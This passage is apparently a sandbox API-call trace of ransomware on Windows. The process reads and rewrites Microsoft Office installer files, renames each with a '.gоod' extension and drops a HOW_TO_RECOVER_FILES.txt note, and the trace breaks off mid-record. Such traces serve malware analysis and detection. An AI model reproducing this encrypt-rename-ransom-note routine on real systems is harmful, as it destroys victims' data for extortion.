lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x35276a8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0192.530] CloseHandle (hObject=0x834) returned 1 [0192.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", lpFilePart=0x0) returned 0x3f [0192.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.530] GetFileType (hFile=0x834) returned 0x1 [0192.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.530] GetFileType (hFile=0x834) returned 0x1 [0192.530] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x18ad800 [0192.530] WriteFile (in: hFile=0x834, lpBuffer=0x3529ec8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3529ec8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0192.532] CloseHandle (hObject=0x834) returned 1 [0192.532] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", lpFilePart=0x0) returned 0x3f [0192.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.532] GetFileType (hFile=0x834) returned 0x1 [0192.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.532] GetFileType (hFile=0x834) returned 0x1 [0192.532] ReadFile (in: hFile=0x834, lpBuffer=0x352c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x352c618*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0192.561] CloseHandle (hObject=0x834) returned 1 [0192.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", lpFilePart=0x0) returned 0x3f [0192.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.561] GetFileType (hFile=0x834) returned 0x1 [0192.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.561] GetFileType (hFile=0x834) returned 0x1 [0192.561] WriteFile (in: hFile=0x834, lpBuffer=0x352b380*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x352b380*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0192.561] CloseHandle (hObject=0x834) returned 1 [0192.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", lpFilePart=0x0) returned 0x3f [0192.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.gоod", lpFilePart=0x0) returned 0x44 [0192.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0192.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef3b8917, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef3b8917, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6efd4fd2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18ad810)) returned 1 [0192.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0192.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.gоod")) returned 1 [0192.563] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", lpFilePart=0x0) returned 0x3f [0192.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0192.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), fInfoLevelId=0x0, lpFileInformation=0x35ab0e0 | out: lpFileInformation=0x35ab0e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee75a612, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee75a612, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef109ec5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18ad800)) returned 1 [0192.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0192.563] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", lpFilePart=0x0) returned 0x3f [0192.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.564] GetFileType (hFile=0x834) returned 0x1 [0192.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.564] GetFileType (hFile=0x834) returned 0x1 [0192.564] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0192.564] ReadFile (in: hFile=0x834, lpBuffer=0x35ab4d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x35ab4d8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0192.686] CloseHandle (hObject=0x834) returned 1 [0192.686] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", lpFilePart=0x0) returned 0x3f [0192.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.686] GetFileType (hFile=0x834) returned 0x1 [0192.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.686] GetFileType (hFile=0x834) returned 0x1 [0192.686] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x18ad800 [0192.687] WriteFile (in: hFile=0x834, lpBuffer=0x34a5aa0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34a5aa0*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0192.688] CloseHandle (hObject=0x834) returned 1 [0192.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", lpFilePart=0x0) returned 0x3f [0192.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.688] GetFileType (hFile=0x834) returned 0x1 [0192.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.689] GetFileType (hFile=0x834) returned 0x1 [0192.689] ReadFile (in: hFile=0x834, lpBuffer=0x34a7db0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34a7db0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0192.717] CloseHandle (hObject=0x834) returned 1 [0192.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", lpFilePart=0x0) returned 0x3f [0192.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.717] GetFileType (hFile=0x834) returned 0x1 [0192.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.717] GetFileType (hFile=0x834) returned 0x1 [0192.717] WriteFile (in: hFile=0x834, lpBuffer=0x34a6b18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x34a6b18*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0192.718] CloseHandle (hObject=0x834) returned 1 [0192.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp", lpFilePart=0x0) returned 0x3f [0192.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.gоod", lpFilePart=0x0) returned 0x44 [0192.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0192.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee75a612, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee75a612, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6f152689, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18ad810)) returned 1 [0192.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0192.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.gоod")) returned 1 [0192.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", lpFilePart=0x0) returned 0x40 [0192.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0192.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), fInfoLevelId=0x0, lpFileInformation=0x3524268 | out: lpFileInformation=0x3524268*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd44a0845, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd44a0845, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd455f44d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc0e000)) returned 1 [0192.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0192.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", lpFilePart=0x0) returned 0x40 [0192.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.720] GetFileType (hFile=0x834) returned 0x1 [0192.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.720] GetFileType (hFile=0x834) returned 0x1 [0192.720] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0192.720] ReadFile (in: hFile=0x834, lpBuffer=0x3524670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3524670*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0193.118] CloseHandle (hObject=0x834) returned 1 [0193.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", lpFilePart=0x0) returned 0x40 [0193.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0193.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0193.118] GetFileType (hFile=0x834) returned 0x1 [0193.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0193.118] GetFileType (hFile=0x834) returned 0x1 [0193.118] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0xc0e000 [0193.118] WriteFile (in: hFile=0x834, lpBuffer=0x364cf28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x364cf28*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0193.196] CloseHandle (hObject=0x834) returned 1 [0193.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", lpFilePart=0x0) returned 0x40 [0193.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0193.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0193.197] GetFileType (hFile=0x834) returned 0x1 [0193.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0193.197] GetFileType (hFile=0x834) returned 0x1 [0193.197] ReadFile (in: hFile=0x834, lpBuffer=0x3535ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3535ee0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0194.028] CloseHandle (hObject=0x834) returned 1 [0194.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", lpFilePart=0x0) returned 0x40 [0194.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0194.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0194.028] GetFileType (hFile=0x834) returned 0x1 [0194.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0194.028] GetFileType (hFile=0x834) returned 0x1 [0194.028] WriteFile (in: hFile=0x834, lpBuffer=0x3459610*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3459610*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0194.029] CloseHandle (hObject=0x834) returned 1 [0194.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi", lpFilePart=0x0) returned 0x40 [0194.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.gоod", lpFilePart=0x0) returned 0x45 [0194.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0194.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd44a0845, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd44a0845, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6fddee24, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0e010)) returned 1 [0194.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0194.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.gоod")) returned 1 [0194.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0194.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0194.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\integration\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0194.031] GetFileType (hFile=0x834) returned 0x1 [0194.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0194.031] GetFileType (hFile=0x834) returned 0x1 [0194.032] WriteFile (in: hFile=0x834, lpBuffer=0x35f7850*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbee618, lpOverlapped=0x0 | out: lpBuffer=0x35f7850*, lpNumberOfBytesWritten=0x1fbee618*=0x5d0, lpOverlapped=0x0) returned 1 [0194.033] CloseHandle (hObject=0x834) returned 1 [0194.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0194.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Licenses16", lpFilePart=0x0) returned 0x31 [0194.033] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0194.034] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.035] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe282b673, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe282b673, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2910498, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5127, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Grace-ppd.xrm-ms", cAlternateFileName="ACCESS~3.XRM")) returned 1 [0194.035] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe274684a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe274684a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe289dd92, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Grace-ul-oob.xrm-ms", cAlternateFileName="ACCESS~2.XRM")) returned 1 [0194.035] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe274684a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe274684a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe28c3fe1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x298f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_OEM_Perp-pl.xrm-ms", cAlternateFileName="ACCESS~1.XRM")) returned 1 [0194.035] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, 